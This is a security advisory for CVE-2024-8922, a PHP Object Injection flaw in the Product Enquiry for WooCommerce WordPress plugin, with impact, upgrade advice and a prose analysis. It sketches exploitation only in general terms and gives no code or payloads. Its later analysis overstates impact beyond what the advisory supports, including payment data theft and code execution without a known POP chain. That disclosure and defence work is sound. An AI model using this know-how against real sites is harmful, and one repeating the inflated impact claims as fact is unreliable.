CVE-2024-8922
Overview
This vulnerability is a PHP Object Injection caused by unsafe deserialization of untrusted input in the Product Enquiry for WooCommerce plugin. The flaw exists in the enquiry_detail.php component, where user-supplied data is deserialized without proper validation or sanitization. This improper handling of serialized PHP objects allows manipulation of the internal application state during deserialization.
Vulnerability Description
The Product Enquiry for WooCommerce, WooCommerce product catalog plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.2.33.32 via deserialization of untrusted input in enquiry_detail.php. This makes it possible for authenticated attackers, with Author-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
Impact
An attacker with authenticated Author-level access can exploit this vulnerability to inject malicious PHP objects, potentially leading to arbitrary file deletion, data disclosure, or code execution if a suitable POP chain exists via other installed plugins or themes. This requires no user interaction beyond authentication and operates over the network. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates low attack complexity with privileges required, enabling significant confidentiality, integrity, and availability impacts (C:H/I:H/A:H).
Solution
Upgrade the Product Enquiry for WooCommerce plugin to a version later than 2.2.33.32, where this deserialization vulnerability is addressed. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/9a485314-cd68-400c-b398-2f8529c6a3ab) and the WordPress plugin changelog (https://plugins.trac.wordpress.org/changeset/3155863/enquiry-quotation-for-woocommerce) for detailed patch information and update instructions.

Full Analysis
The vulnerability in the Product Enquiry for WooCommerce plugin arises from a flaw in its handling of PHP object serialization, specifically in the deserialization process within the enquiry_detail.php file. This weakness allows for PHP Object Injection, a serious security issue that can be exploited by authenticated users with Author-level access or higher. The core of the problem lies in the plugin's failure to properly validate or sanitize untrusted input before deserializing it, which can lead to the execution of arbitrary PHP code if an attacker can manipulate the input. Although the vulnerable software does not have a known Property-Oriented Programming (POP) chain, the presence of such a chain through other installed plugins or themes could significantly amplify the risk, enabling attackers to perform actions such as deleting files, accessing sensitive information, or executing malicious code.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could craft a malicious payload and submit it through the plugin's interface, leveraging the deserialization flaw to inject a PHP object. This could be achieved by manipulating the data sent to the server, potentially using tools like Burp Suite or custom scripts to automate the process. Once the payload is successfully injected, the attacker could exploit the PHP environment to execute arbitrary commands or access sensitive data stored within the WordPress installation. The risk escalates if the target site has other vulnerable plugins or themes that can be exploited in conjunction with this vulnerability, creating a more potent attack scenario.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on WooCommerce for their e-commerce operations. Successful exploitation could lead to unauthorized access to customer data, including payment information, which poses a severe risk to both the business and its customers. Additionally, the ability to delete files or execute code could disrupt operations, leading to downtime or loss of data integrity. The reputational damage from a data breach can also have long-lasting effects, potentially resulting in lost customers and diminished trust in the brand. Organizations must recognize that the financial implications of such an attack extend beyond immediate remediation costs, encompassing legal fees, regulatory fines, and the long-term impact on customer relationships.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Product Enquiry for WooCommerce plugin to the latest version is crucial, as updates often contain patches for known vulnerabilities. Additionally, employing a Web Application Firewall (WAF) can help filter out malicious requests before they reach the application. Conducting regular security audits and penetration testing can also identify potential weaknesses in the system, allowing for proactive remediation. Furthermore, organizations should enforce the principle of least privilege, ensuring that users only have the necessary access rights to perform their roles, thereby reducing the risk of exploitation by authenticated attackers.
In conclusion, the PHP Object Injection vulnerability in the Product Enquiry for WooCommerce plugin presents a serious threat to WordPress-based e-commerce sites. The potential for exploitation by authenticated users, coupled with the risk of a POP chain through other plugins, underscores the need for vigilant security practices. By prioritizing timely updates, employing security tools, and fostering a culture of security awareness, organizations can significantly mitigate the risks associated with this vulnerability and protect their digital assets from malicious actors.
